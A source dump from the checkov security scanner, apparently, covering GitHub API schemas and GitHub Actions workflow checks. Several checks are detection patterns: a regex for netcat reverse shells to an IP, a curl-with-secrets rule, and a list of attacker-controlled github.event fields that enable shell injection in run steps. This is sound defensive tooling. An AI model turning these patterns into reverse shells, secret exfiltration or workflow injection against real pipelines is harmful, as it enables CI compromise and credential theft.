"created_at": { "type": "string", "format": "date-time", "examples": [ "2008-01-14T04:33:35Z" ] }, "type": { "type": "string", "examples": [ "Organization" ] }, "total_private_repos": { "type": "integer", "examples": [ 100 ] }, "owned_private_repos": { "type": "integer", "examples": [ 100 ] }, "private_gists": { "type": [ "integer", "null" ], "examples": [ 81 ] }, "disk_usage": { "type": [ "integer", "null" ], "examples": [ 10000 ] }, "collaborators": { "type": [ "integer", "null" ], "examples": [ 8 ] }, "billing_email": { "type": [ "string", "null" ], "format": "email", "examples": [ "org@example.com" ] }, "plan": { "type": "object", "properties": { "name": { "type": "string" }, "space": { "type": "integer" }, "private_repos": { "type": "integer" }, "filled_seats": { "type": "integer" }, "seats": { "type": "integer" } }, "required": [ "name", "space", "private_repos" ] }, "default_repository_permission": { "type": [ "string", "null" ] }, "members_can_create_repositories": { "type": [ "boolean", "null" ], "examples": [ True ] }, "two_factor_requirement_enabled": { "type": [ "boolean", "null" ], "examples": [ True ] }, "members_allowed_repository_creation_type": { "type": "string", "examples": [ "all" ] }, "members_can_create_public_repositories": { "type": "boolean", "examples": [ True ] }, "members_can_create_private_repositories": { "type": "boolean", "examples": [ True ] }, "members_can_create_internal_repositories": { "type": "boolean", "examples": [ True ] }, "members_can_create_pages": { "type": "boolean", "examples": [ True ] }, "members_can_create_public_pages": { "type": "boolean", "examples": [ True ] }, "members_can_create_private_pages": { "type": "boolean", "examples": [ True ] }, "members_can_fork_private_repositories": { "type": [ "boolean", "null" ], "examples": [ False ] }, "web_commit_signoff_required": { "type": "boolean", "examples": [ False ] }, "updated_at": { "type": "string", "format": "date-time" }, "advanced_security_enabled_for_new_repositories": { "type": "boolean", "description": "Whether GitHub Advanced Security is enabled for new repositories and repositories transferred to this organization.\n\nThis field is only visible to organization owners or members of a team with the security manager role.", "examples": [ False ] }, "dependabot_alerts_enabled_for_new_repositories": { "type": "boolean", "description": "Whether GitHub Advanced Security is automatically enabled for new repositories and repositories transferred to\nthis organization.\n\nThis field is only visible to organization owners or members of a team with the security manager role.", "examples": [ False ] }, "dependabot_security_updates_enabled_for_new_repositories": { "type": "boolean", "description": "Whether dependabot security updates are automatically enabled for new repositories and repositories transferred\nto this organization.\n\nThis field is only visible to organization owners or members of a team with the security manager role.", "examples": [ False ] }, "dependency_graph_enabled_for_new_repositories": { "type": "boolean", "description": "Whether dependency graph is automatically enabled for new repositories and repositories transferred to this\norganization.\n\nThis field is only visible to organization owners or members of a team with the security manager role.", "examples": [ False ] }, "secret_scanning_enabled_for_new_repositories": { "type": "boolean", "description": "Whether secret scanning is automatically enabled for new repositories and repositories transferred to this\norganization.\n\nThis field is only visible to organization owners or members of a team with the security manager role.", "examples": [ False ] }, "secret_scanning_push_protection_enabled_for_new_repositories": { "type": "boolean", "description": "Whether secret scanning push protection is automatically enabled for new repositories and repositories\ntransferred to this organization.\n\nThis field is only visible to organization owners or members of a team with the security manager role.", "examples": [ False ] }, "secret_scanning_push_protection_custom_link_enabled": { "type": "boolean", "description": "Whether a custom link is shown to contributors who are blocked from pushing a secret by push protection.", "examples": [ False ] }, "secret_scanning_push_protection_custom_link": { "type": [ "string", "null" ], "description": "An optional URL string to display to contributors who are blocked from pushing a secret.", "examples": [ "https://github.com/test-org/test-repo/blob/main/README.md" ] } }, "required": [ "login", "url", "id", "node_id", "repos_url", "events_url", "hooks_url", "issues_url", "members_url", "public_members_url", "avatar_url", "description", "html_url", "has_organization_projects", "has_repository_projects", "public_repos", "public_gists", "followers", "following", "type", "created_at", "updated_at" ] } super().__init__(schema=schema) schema = OrganizationSchema() ================================================ FILE: checkov/github/schemas/repository_collaborators.py ================================================ from checkov.common.vcs.vcs_schema import VCSSchema class RepositoryCollaboratorsSchema(VCSSchema): def __init__(self) -> None: schema = { "type": "array", "items": { "title": "Collaborator", "description": "Collaborator", "type": "object", "properties": { "login": { "type": "string", "examples": [ "octocat" ] }, "id": { "type": "integer", "examples": [ 1 ] }, "email": { "type": [ "string", "null" ] }, "name": { "type": [ "string", "null" ] }, "node_id": { "type": "string", "examples": [ "MDQ6VXNlcjE=" ] }, "avatar_url": { "type": "string", "format": "uri", "examples": [ "https://github.com/images/error/octocat_happy.gif" ] }, "gravatar_id": { "type": [ "string", "null" ], "examples": [ "41d064eb2195891e12d0413f63227ea7" ] }, "url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat" ] }, "html_url": { "type": "string", "format": "uri", "examples": [ "https://github.com/octocat" ] }, "followers_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/followers" ] }, "following_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/following{/other_user}" ] }, "gists_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/gists{/gist_id}" ] }, "starred_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/starred{/owner}{/repo}" ] }, "subscriptions_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/subscriptions" ] }, "organizations_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/orgs" ] }, "repos_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/repos" ] }, "events_url": { "type": "string", "examples": [ "https://api.github.com/users/octocat/events{/privacy}" ] }, "received_events_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/users/octocat/received_events" ] }, "type": { "type": "string", "examples": [ "User" ] }, "site_admin": { "type": "boolean" }, "permissions": { "type": "object", "properties": { "pull": { "type": "boolean" }, "triage": { "type": "boolean" }, "push": { "type": "boolean" }, "maintain": { "type": "boolean" }, "admin": { "type": "boolean" } }, "required": [ "pull", "push", "admin" ] }, "role_name": { "type": "string", "examples": [ "admin" ] } }, "required": [ "avatar_url", "events_url", "followers_url", "following_url", "gists_url", "gravatar_id", "html_url", "id", "node_id", "login", "organizations_url", "received_events_url", "repos_url", "site_admin", "starred_url", "subscriptions_url", "type", "url", "role_name" ] } } super().__init__(schema=schema) schema = RepositoryCollaboratorsSchema() ================================================ FILE: checkov/github/schemas/repository_webhooks.py ================================================ from checkov.common.vcs.vcs_schema import VCSSchema class RepositoryWebhookSchema(VCSSchema): def __init__(self) -> None: schema = { "type": "array", "items": { "title": "Webhook", "description": "Webhooks for repositories.", "type": "object", "properties": { "type": { "type": "string", "const": "Repository" }, "id": { "description": "Unique identifier of the webhook.", "type": "integer", "examples": [ 42 ] }, "name": { "description": "The name of a valid service, use 'web' for a webhook.", "type": "string", "examples": [ "web" ] }, "active": { "description": "Determines whether the hook is actually triggered on pushes.", "type": "boolean", "examples": [ True ] }, "events": { "description": "Determines what events the hook is triggered for. Default: ['push'].", "type": "array", "items": { "type": "string" }, "examples": [ "push", "pull_request" ] }, "config": { "type": "object", "properties": { "email": { "type": "string", "examples": [ "\"foo@bar.com\"" ] }, "password": { "type": "string", "examples": [ "\"foo\"" ] }, "room": { "type": "string", "examples": [ "\"roomer\"" ] }, "subdomain": { "type": "string", "examples": [ "\"foo\"" ] }, "url": { "type": "string", "description": "The URL to which the payloads will be delivered.", "format": "uri", "examples": [ "https://example.com/webhook" ] }, "insecure_ssl": { "oneOf": [ { "type": "string", "description": "Determines whether the SSL certificate of the host for `url` will be verified when delivering payloads. Supported values include `0` (verification is performed) and `1` (verification is not performed). The default is `0`. **We strongly recommend not setting this to `1` as you are subject to man-in-the-middle and other attacks.**", "examples": [ "\"0\"" ] }, { "type": "number" } ] }, "content_type": { "type": "string", "description": "The media type used to serialize the payloads. Supported values include `json` and `form`. The default is `form`.", "examples": [ "\"json\"" ] }, "digest": { "type": "string", "examples": [ "\"sha256\"" ] }, "secret": { "type": "string", "description": "If provided, the `secret` will be used as the `key` to generate the HMAC hex digest value for [delivery signature headers](https://docs.github.com/webhooks/event-payloads/#delivery-headers).", "examples": [ "\"********\"" ] }, "token": { "type": "string", "examples": [ "\"abc\"" ] } } }, "updated_at": { "type": "string", "format": "date-time", "examples": [ "2011-09-06T20:39:23Z" ] }, "created_at": { "type": "string", "format": "date-time", "examples": [ "2011-09-06T17:26:27Z" ] }, "url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/repos/octocat/Hello-World/hooks/1" ] }, "test_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/repos/octocat/Hello-World/hooks/1/test" ] }, "ping_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/repos/octocat/Hello-World/hooks/1/pings" ] }, "deliveries_url": { "type": "string", "format": "uri", "examples": [ "https://api.github.com/repos/octocat/Hello-World/hooks/1/deliveries" ] }, "last_response": { "title": "Hook Response", "type": "object", "properties": { "code": { "type": [ "integer", "null" ] }, "status": { "type": [ "string", "null" ] }, "message": { "type": [ "string", "null" ] } }, "required": [ "code", "status", "message" ] } }, "required": [ "id", "url", "type", "name", "active", "events", "config", "ping_url", "created_at", "updated_at", "last_response", "test_url" ] } } super().__init__(schema=schema) schema = RepositoryWebhookSchema() ================================================ FILE: checkov/github_actions/__init__.py ================================================ from checkov.github_actions.checks import * # noqa ================================================ FILE: checkov/github_actions/checks/__init__.py ================================================ from checkov.github_actions.checks.job import * # noqa ================================================ FILE: checkov/github_actions/checks/base_github_action_check.py ================================================ from __future__ import annotations from abc import abstractmethod from collections.abc import Iterable from typing import Any, TYPE_CHECKING from checkov.common.checks.base_check import BaseCheck from checkov.common.models.enums import CheckCategories from checkov.github_actions.checks.registry import registry if TYPE_CHECKING: from checkov.common.models.enums import CheckResult class BaseGithubActionsCheck(BaseCheck): def __init__( self, name: str, id: str, supported_entities: Iterable[str], block_type: str, path: str | None = None ) -> None: categories = (CheckCategories.SUPPLY_CHAIN,) super().__init__( name=name, id=id, categories=categories, supported_entities=supported_entities, block_type=block_type, ) self.path = path registry.register(self) def scan_entity_conf(self, conf: dict[str, Any], entity_type: str) -> tuple[CheckResult, dict[str, Any]]: self.entity_type = entity_type return self.scan_conf(conf) @abstractmethod def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: pass ================================================ FILE: checkov/github_actions/checks/graph_checks/ReadOnlyTopLevelPermissions.yaml ================================================ metadata: id: "CKV2_GHA_1" name: "Ensure top-level permissions are not set to write-all" category: "IAM" definition: cond_type: attribute resource_types: - permissions attribute: permissions operator: not_equals value: write-all ================================================ FILE: checkov/github_actions/checks/graph_checks/__init__.py ================================================ ================================================ FILE: checkov/github_actions/checks/job/AllowUnsecureCommandsOnJob.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult from checkov.github_actions.checks.base_github_action_check import BaseGithubActionsCheck from checkov.yaml_doc.enums import BlockType class AllowUnsecureCommandsOnJob(BaseGithubActionsCheck): def __init__(self) -> None: name = "Ensure ACTIONS_ALLOW_UNSECURE_COMMANDS isn't true on environment variables" id = "CKV_GHA_1" super().__init__( name=name, id=id, block_type=BlockType.ARRAY, supported_entities=('jobs', 'jobs.*.steps[]') ) def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: if not isinstance(conf, dict): return CheckResult.UNKNOWN, conf if "env" not in conf or not conf["env"]: return CheckResult.PASSED, conf env_variables = conf.get("env", {}) if not isinstance(env_variables, dict): return CheckResult.UNKNOWN, conf if env_variables.get("ACTIONS_ALLOW_UNSECURE_COMMANDS", False): return CheckResult.FAILED, conf return CheckResult.PASSED, conf check = AllowUnsecureCommandsOnJob() ================================================ FILE: checkov/github_actions/checks/job/CosignArtifacts.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult from checkov.common.util.consts import START_LINE from checkov.github_actions.checks.base_github_action_check import BaseGithubActionsCheck from checkov.github_actions.common.artifact_build import buildcmds as buildcmds from checkov.github_actions.common.build_actions import buildactions as buildactions from checkov.yaml_doc.enums import BlockType class CosignSignPresent(BaseGithubActionsCheck): def __init__(self) -> None: name = "Found artifact build without evidence of cosign sign execution in pipeline" id = "CKV_GHA_5" super().__init__( name=name, id=id, block_type=BlockType.OBJECT, supported_entities=('jobs',) ) def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: if not conf or not isinstance(conf, dict): return CheckResult.UNKNOWN, conf build_found = False for jobname, jobdetail in conf.items(): if jobname == START_LINE: return CheckResult.PASSED, conf if not isinstance(jobdetail, dict): # This is not a valid job detail block, skip it continue steps = [step for step in jobdetail.get("steps", []) or [] if step] if steps: for step in steps: if build_found: run = step.get("run", "") if "cosign sign" in run: return CheckResult.PASSED, step else: uses = step.get("uses") if uses is not None and any(action in uses for action in buildactions): build_found = True run = step.get("run") if run is not None and any(build in run for build in buildcmds): build_found = True if build_found: return CheckResult.FAILED, conf return CheckResult.PASSED, conf check = CosignSignPresent() ================================================ FILE: checkov/github_actions/checks/job/CosignSBOM.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult from checkov.common.util.consts import START_LINE from checkov.github_actions.checks.base_github_action_check import BaseGithubActionsCheck from checkov.github_actions.common.artifact_build import buildcmds as buildcmds from checkov.github_actions.common.build_actions import buildactions as buildactions from checkov.yaml_doc.enums import BlockType class CosignSignSBOM(BaseGithubActionsCheck): def __init__(self) -> None: name = "Found artifact build without evidence of cosign sbom attestation in pipeline" id = "CKV_GHA_6" super().__init__( name=name, id=id, block_type=BlockType.OBJECT, supported_entities=('jobs',) ) def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: if not isinstance(conf, dict): return CheckResult.UNKNOWN, conf build_found = False for jobname, jobdetail in conf.items(): if jobname == START_LINE: return CheckResult.PASSED, conf if not isinstance(jobdetail, dict): # This is not a valid job detail block, skip it continue steps = [step for step in jobdetail.get("steps", []) or [] if step] if steps: for step in steps: if build_found: run = step.get("run", "") if all(word in run for word in ("cosign", "sbom")): return CheckResult.PASSED, step else: uses = step.get("uses") if uses is not None and any(action in uses for action in buildactions): build_found = True run = step.get("run") if run is not None and any(build in run for build in buildcmds): build_found = True if build_found: return CheckResult.FAILED, conf return CheckResult.PASSED, conf check = CosignSignSBOM() ================================================ FILE: checkov/github_actions/checks/job/EmptyWorkflowDispatch.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult from checkov.github_actions.checks.base_github_action_check import BaseGithubActionsCheck from checkov.yaml_doc.enums import BlockType class EmptyWorkflowDispatch(BaseGithubActionsCheck): def __init__(self) -> None: name = "The build output cannot be affected by user parameters other than the build entry point and the " \ "top-level source location. GitHub Actions workflow_dispatch inputs MUST be empty. " id = "CKV_GHA_7" super().__init__( name=name, id=id, block_type=BlockType.OBJECT, supported_entities=('on',) ) def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: if isinstance(conf, list): for sub_conf in conf: if sub_conf == "workflow_dispatch": return CheckResult.PASSED, sub_conf return CheckResult.UNKNOWN, {} if isinstance(conf, str): if conf == "workflow_dispatch": return CheckResult.PASSED, conf else: return CheckResult.UNKNOWN, conf workflow_dispatch = conf.get("workflow_dispatch") if isinstance(workflow_dispatch, dict): workflow_dispatch_inputs = workflow_dispatch.get("inputs", {}) if workflow_dispatch_inputs: return CheckResult.FAILED, workflow_dispatch_inputs return CheckResult.PASSED, conf check = EmptyWorkflowDispatch() ================================================ FILE: checkov/github_actions/checks/job/ReverseShellNetcat.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult from checkov.github_actions.checks.base_github_action_check import BaseGithubActionsCheck from checkov.yaml_doc.enums import BlockType import re NETCAT_IP_PATTERN = re.compile(r'(nc|netcat) (\d{1,3}).(\d{1,3}).(\d{1,3}).(\d{1,3})') class ReverseShellNetcat(BaseGithubActionsCheck): def __init__(self) -> None: name = "Suspicious use of netcat with IP address" id = "CKV_GHA_4" super().__init__( name=name, id=id, block_type=BlockType.ARRAY, supported_entities=('jobs', 'jobs.*.steps[]') ) def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: if not isinstance(conf, dict): return CheckResult.UNKNOWN, conf run = conf.get("run", "") if re.search(NETCAT_IP_PATTERN, run): return CheckResult.FAILED, conf return CheckResult.PASSED, conf check = ReverseShellNetcat() ================================================ FILE: checkov/github_actions/checks/job/ShellInjection.py ================================================ from __future__ import annotations import re from typing import Any from checkov.common.models.enums import CheckResult from checkov.github_actions.checks.base_github_action_check import BaseGithubActionsCheck from checkov.github_actions.common.shell_injection_list import terms as bad_inputs from checkov.yaml_doc.enums import BlockType class DontAllowShellInjection(BaseGithubActionsCheck): def __init__(self) -> None: name = "Ensure run commands are not vulnerable to shell injection" id = "CKV_GHA_2" super().__init__( name=name, id=id, block_type=BlockType.ARRAY, supported_entities=('jobs', 'jobs.*.steps[]') ) def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: if not isinstance(conf, dict): return CheckResult.UNKNOWN, conf if "run" not in conf: return CheckResult.PASSED, conf run = conf.get("run", "") for term in bad_inputs: if re.search(term, run): return CheckResult.FAILED, conf return CheckResult.PASSED, conf check = DontAllowShellInjection() ================================================ FILE: checkov/github_actions/checks/job/SuspectCurlInScript.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult from checkov.github_actions.checks.base_github_action_check import BaseGithubActionsCheck from checkov.yaml_doc.enums import BlockType class SuspectCurlInScript(BaseGithubActionsCheck): def __init__(self) -> None: name = "Suspicious use of curl with secrets" id = "CKV_GHA_3" super().__init__( name=name, id=id, block_type=BlockType.ARRAY, supported_entities=('jobs', 'jobs.*.steps[]') ) def scan_conf(self, conf: dict[str, Any]) -> tuple[CheckResult, dict[str, Any]]: if not isinstance(conf, dict): return CheckResult.UNKNOWN, conf run = conf.get("run", "") if "curl" in run: badstuff = ('curl', 'secret') lines = run.split("\n") for line in lines: if all(x in line for x in badstuff): return CheckResult.FAILED, conf return CheckResult.PASSED, conf check = SuspectCurlInScript() ================================================ FILE: checkov/github_actions/checks/job/__init__.py ================================================ from pathlib import Path modules = Path(__file__).parent.glob("*.py") __all__ = [f.stem for f in modules if f.is_file() and not f.stem == "__init__"] ================================================ FILE: checkov/github_actions/checks/registry.py ================================================ from checkov.common.bridgecrew.check_type import CheckType from checkov.yaml_doc.base_registry import Registry registry = Registry(CheckType.GITHUB_ACTIONS) ================================================ FILE: checkov/github_actions/common/__init__.py ================================================ ================================================ FILE: checkov/github_actions/common/artifact_build.py ================================================ # flake8: noqa buildcmds = [ "docker build", "ko build", "buildah bud", "buildah build", "podman image build", "podman build", "nerdctl build" ] ================================================ FILE: checkov/github_actions/common/build_actions.py ================================================ # flake8: noqa buildactions = [ "docker/build-push-action", "docker/bake-action" ] ================================================ FILE: checkov/github_actions/common/shell_injection_list.py ================================================ # flake8: noqa terms = [ r"\${{[ ]*github.event.issue.title[ ]*}}", r"\${{[ ]*github.event.issue.body[ ]*}}", r"\${{[ ]*github.event.pull_request.title[ ]*}}", r"\${{[ ]*github.event.pull_request.body[ ]*}}", r"\${{[ ]*github.event.comment.body[ ]*}}", r"\${{[ ]*github.event.review.body[ ]*}}", r"\${{[ ]*github.event.review_comment.body[ ]*}}", r"\${{[ ]*github.event.pages.*.page_name[ ]*}}", r"\${{[ ]*github.event.head_commit.message[ ]*}}", r"\${{[ ]*github.event.head_commit.author.email[ ]*}}", r"\${{[ ]*github.event.head_commit.author.name[ ]*}}", r"\${{[ ]*github.event.commits.*.author.email[ ]*}}", r"\${{[ ]*github.event.commits.*.author.name[ ]*}}", r"\${{[ ]*github.event.pull_request.head.ref[ ]*}}", r"\${{[ ]*github.event.pull_request.head.label[ ]*}}", r"\${{[ ]*github.event.pull_request.head.repo.default_branch[ ]*}}", r"\${{[ ]*github.head_ref[ ]*}}" ] ================================================ FILE: checkov/github_actions/graph_builder/__init__.py ================================================ ================================================ FILE: checkov/github_actions/graph_builder/graph_components/__init__.py ================================================ ================================================ FILE: checkov/github_actions/graph_builder/graph_components/resource_types.py ================================================ from enum import Enum class ResourceType(str, Enum): JOBS = "jobs" PERMISSIONS = "permissions" STEPS = "steps" ON = "on" def __str__(self) -> str: # needed, because of a Python 3.11 change return self.value ================================================ FILE: checkov/github_actions/graph_builder/local_graph.py ================================================ from __future__ import annotations import logging from collections import defaultdict from pathlib import Path from typing import Any from checkov.common.graph.graph_builder import CustomAttributes from checkov.common.graph.graph_builder.consts import GraphSource from checkov.common.graph.graph_builder.graph_components.block_types import BlockType from checkov.common.graph.graph_builder.graph_components.blocks import Block from checkov.common.runners.graph_builder.local_graph import ObjectLocalGraph from checkov.common.util.consts import START_LINE, END_LINE from checkov.common.util.data_structures_utils import pickle_deepcopy from checkov.github_actions.graph_builder.graph_components.resource_types import ResourceType from checkov.github_actions.utils import get_scannable_file_paths, parse_file class GitHubActionsLocalGraph(ObjectLocalGraph): def __init__(self, definitions: dict[str | Path, dict[str, Any] | list[dict[str, Any]]]) -> None: super().__init__(definitions=definitions) self.source = GraphSource.GITHUB_ACTIONS self.job_steps_map: "dict[tuple[str, str], list[tuple[str, str]]]" = defaultdict(list) def _create_vertices(self) -> None: for file_path, definition in self.definitions.items(): if not isinstance(definition, dict): logging.debug(f"definition of file {file_path} has the wrong type {type(definition)}") return file_path = str(file_path) self._create_jobs_vertices(file_path=file_path, jobs=definition.get(ResourceType.JOBS)) self._create_steps_vertices(file_path=file_path, jobs=definition.get(ResourceType.JOBS)) self._create_permissions_vertices(file_path=file_path, permissions=definition.get(ResourceType.PERMISSIONS)) self._create_on_vertices(file_path=file_path, on=definition.get(ResourceType.ON)) def _create_jobs_vertices(self, file_path: str, jobs: Any) -> None: """Creates jobs vertices""" if not jobs or not isinstance(jobs, dict): return for name, config in jobs.items(): if name in (START_LINE, END_LINE): continue attributes = pickle_deepcopy(config) attributes[CustomAttributes.RESOURCE_TYPE] = ResourceType.JOBS block_name = f"{ResourceType.JOBS}.{name}" self.vertices.append( Block( name=block_name, config=config, path=file_path, block_type=BlockType.RESOURCE, attributes=attributes, id=block_name, source=self.source, ) ) def _create_steps_vertices(self, file_path: str, jobs: Any) -> None: """Creates steps vertices from jobs""" if not jobs or not isinstance(jobs, dict): return for name, job_config in jobs.items(): if name in (START_LINE, END_LINE): continue steps = job_config.get(ResourceType.STEPS) if not steps or not isinstance(steps, list): continue for idx, config in enumerate(steps): if not isinstance(config, dict): # should not happen continue attributes = pickle_deepcopy(config) attributes[CustomAttributes.RESOURCE_TYPE] = ResourceType.STEPS block_name = f"{ResourceType.JOBS}.{name}.{ResourceType.STEPS}.{idx + 1}" block = Block( name=block_name, config=config, path=file_path, block_type=BlockType.RESOURCE, attributes=attributes, id=block_name, source=self.source, ) self.vertices.append(block) self.job_steps_map[(file_path, f"{ResourceType.JOBS}.{name}")].append((file_path, block_name)) def _create_permissions_vertices(self, file_path: str, permissions: Any) -> None: """Creates root-level permissions vertices""" if permissions is None: # if 'permissions' is not set in a file, then it is automatically 'write-all' permissions = "write-all" if not permissions or not isinstance(permissions, (str, dict)): return if isinstance(permissions, str): # to get the correct line numbers we would need to check the raw definition config = { "permissions": permissions, START_LINE: 0, END_LINE: 0, } else: config = { "permissions": permissions, START_LINE: permissions[START_LINE], END_LINE: permissions[END_LINE], } attributes = pickle_deepcopy(config) attributes[CustomAttributes.RESOURCE_TYPE] = ResourceType.PERMISSIONS block_name = ResourceType.PERMISSIONS block = Block( name=block_name, config=config, path=file_path, block_type=BlockType.RESOURCE, attributes=attributes, id=block_name, source=self.source, ) self.vertices.append(block) def _create_on_vertices(self, file_path: str, on: Any) -> None: if not on: return if isinstance(on, (str, list)): # to get the correct line numbers we would need to check the raw definition config: "dict[str, Any]" = { "on": on, START_LINE: 0, END_LINE: 0, } elif isinstance(on, dict): config = { "on": on, START_LINE: on[START_LINE], END_LINE: on[END_LINE], } else: return attributes = pickle_deepcopy(config) attributes[CustomAttributes.RESOURCE_TYPE] = ResourceType.ON block_name = ResourceType.ON block = Block( name=block_name, config=config, path=file_path, block_type=BlockType.RESOURCE, attributes=attributes, id=block_name, source=self.source, ) self.vertices.append(block) def _create_edges(self) -> None: self._create_jobs_to_steps_edges() def _create_jobs_to_steps_edges(self) -> None: """Creates edges from jobs to steps""" if not self.job_steps_map: return for path_and_name, path_and_steps in self.job_steps_map.items(): origin_vertex_index = self.vertices_by_path_and_name[path_and_name] for path_and_step_name in path_and_steps: dest_vertex_index = self.vertices_by_path_and_name[path_and_step_name] self._create_edge( origin_vertex_index=origin_vertex_index, dest_vertex_index=dest_vertex_index, ) @staticmethod def get_files_definitions(root_folder: str | Path) -> dict[str | Path, dict[str, Any] | list[dict[str, Any]]]: definitions: "dict[str | Path, dict[str, Any] | list[dict[str, Any]]]" = {} file_paths = get_scannable_file_paths(root_folder=root_folder) for file_path in file_paths: result = parse_file(f=file_path) if result is not None: definitions[file_path] = result[0] return definitions ================================================ FILE: checkov/github_actions/runner.py ================================================ from __future__ import annotations import logging from collections.abc import Iterable from typing import TYPE_CHECKING, Any import yaml import checkov.common.parsers.yaml.loader as loader from checkov.common.bridgecrew.check_type import CheckType from checkov.common.graph.graph_builder.consts import GraphSource from checkov.common.output.report import Report from checkov.github_actions.checks.registry import registry from checkov.github_actions.graph_builder.local_graph import GitHubActionsLocalGraph from checkov.github_actions.utils import is_schema_valid, is_workflow_file from checkov.runner_filter import RunnerFilter from checkov.yaml_doc.runner import Runner as YamlRunner if TYPE_CHECKING: from checkov.common.checks.base_check_registry import BaseCheckRegistry from checkov.common.typing import LibraryGraphConnector from checkov.common.runners.graph_builder.local_graph import ObjectLocalGraph from checkov.common.runners.graph_manager import ObjectGraphManager class Runner(YamlRunner): check_type = CheckType.GITHUB_ACTIONS # noqa: CCE003 # a static attribute def __init__( self, db_connector: LibraryGraphConnector | None = None, source: str = GraphSource.GITHUB_ACTIONS, graph_class: type[ObjectLocalGraph] = GitHubActionsLocalGraph, graph_manager: ObjectGraphManager | None = None, external_registries: dict[str, Any] | None = None ) -> None: super().__init__( db_connector=db_connector, source=source, graph_class=graph_class, graph_manager=graph_manager, ) def require_external_checks(self) -> bool: return False def import_registry(self) -> BaseCheckRegistry: return registry @staticmethod def _parse_file(f: str, file_content: str | None = None) -> \ tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None: if is_workflow_file(f): entity_schema: tuple[dict[str, Any] | list[dict[str, Any]], list[tuple[int, str]]] | None = YamlRunner._parse_file(f) if not entity_schema: # Indicates that there was an exception/error while trying to read the file, # hence no need to check the schema validity. return None if not file_content: with open(f, 'r') as f_obj: try: file_content = f_obj.read() except Exception as e: logging.warning(f'Fail to read file {f}. error: {e}') return None if all(map(is_schema_valid, yaml.load_all(file_content, Loader=loader.SafeLineLoaderGhaSchema))): # nosec return entity_schema return None def included_paths(self) -> Iterable[str]: return [".github"] def get_resource(self, file_path: str, key: str, supported_entities: Iterable[str], start_line: int = -1, end_line: int = -1, graph_resource: bool = False) -> str: """ supported resources for GHA: jobs jobs.*.steps[] permissions on """ if len(list(supported_entities)) > 1: logging.debug("order of entities might cause extracting the wrong key for resource_id") new_key = key definition = self.definitions.get(file_path, {}) if not definition or not isinstance(definition, dict): return new_key if 'on' in supported_entities: workflow_name = definition.get('name', "") new_key = f"on({workflow_name})" if workflow_name else "on" elif 'jobs' in supported_entities or graph_resource and 'steps' in supported_entities: job_name = self.resolve_sub_name(definition, start_line, end_line, tag='jobs') new_key = f"jobs({job_name})" if job_name else "jobs" if (graph_resource and supported_entities == 'steps') or \ (not graph_resource and 'jobs.*.steps[]' in supported_entities and key.split('.')[1] == '*'): step_name = self.resolve_step_name(definition['jobs'].get(job_name), start_line, end_line) new_key = f'jobs({job_name}).steps{step_name}' elif 'permissions' in supported_entities: new_key = 'permissions' return new_key def run( self, root_folder: str | None = None, external_checks_dir: list[str] | None = None, files: list[str] | None = None, runner_filter: RunnerFilter | None = None, collect_skip_comments: bool = True, ) -> Report | list[Report]: runner_filter = runner_filter or RunnerFilter() report = super().run(root_folder=root_folder, external_checks_dir=external_checks_dir, files=files, runner_filter=runner_filter, collect_skip_comments=collect_skip_comments) return report def populate_metadata_dict(self) -> None: if isinstance(self.definitions, dict): # populate gha metadata dict for key, definition in self.definitions.items(): if isinstance(definition, dict): workflow_name = definition.get('name', '') triggers = self._get_triggers(definition) jobs = self._get_jobs(definition) self.map_file_path_to_gha_metadata_dict[key] = {"triggers": triggers, "workflow_name": workflow_name, "jobs": jobs} ================================================ FILE: checkov/github_actions/schemas.py ================================================ gha_schema = { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions", "$schema": "http://json-schema.org/draft-07/schema", "additionalProperties": False, "definitions": { "expressionSyntax": { "type": "string", "$comment": "escape `{` and `}` in pattern to be unicode compatible (#1360)", "pattern": "^\\$\\{\\{.*\\}\\}$" }, "pre-if": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#pre-if", "description": "Allows you to define conditions for the `pre:` action execution. The `pre:` action will only run if the conditions in `pre-if` are met. If not set, then `pre-if` defaults to `always()`. Note that the `step` context is unavailable, as no steps have run yet.", "type": "string" }, "post-if": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#post-if", "description": "Allows you to define conditions for the `post:` action execution. The `post:` action will only run if the conditions in `post-if` are met. If not set, then `post-if` defaults to `always()`.", "type": "string" }, "runs-javascript": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runs-for-javascript-actions", "description": "Configures the path to the action's code and the application used to execute the code.", "type": "object", "properties": { "using": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsusing", "description": "The application used to execute the code specified in `main`.", "enum": ["node12", "node16"] }, "main": { "$comment": "https://docs.github.com/en/actions/creating-actions/metadata-syntax-for-github-actions#runsmain", "description": "The file that contains your action code. The application specified in `using` executes this file.", "type": "string" }, "pre": { 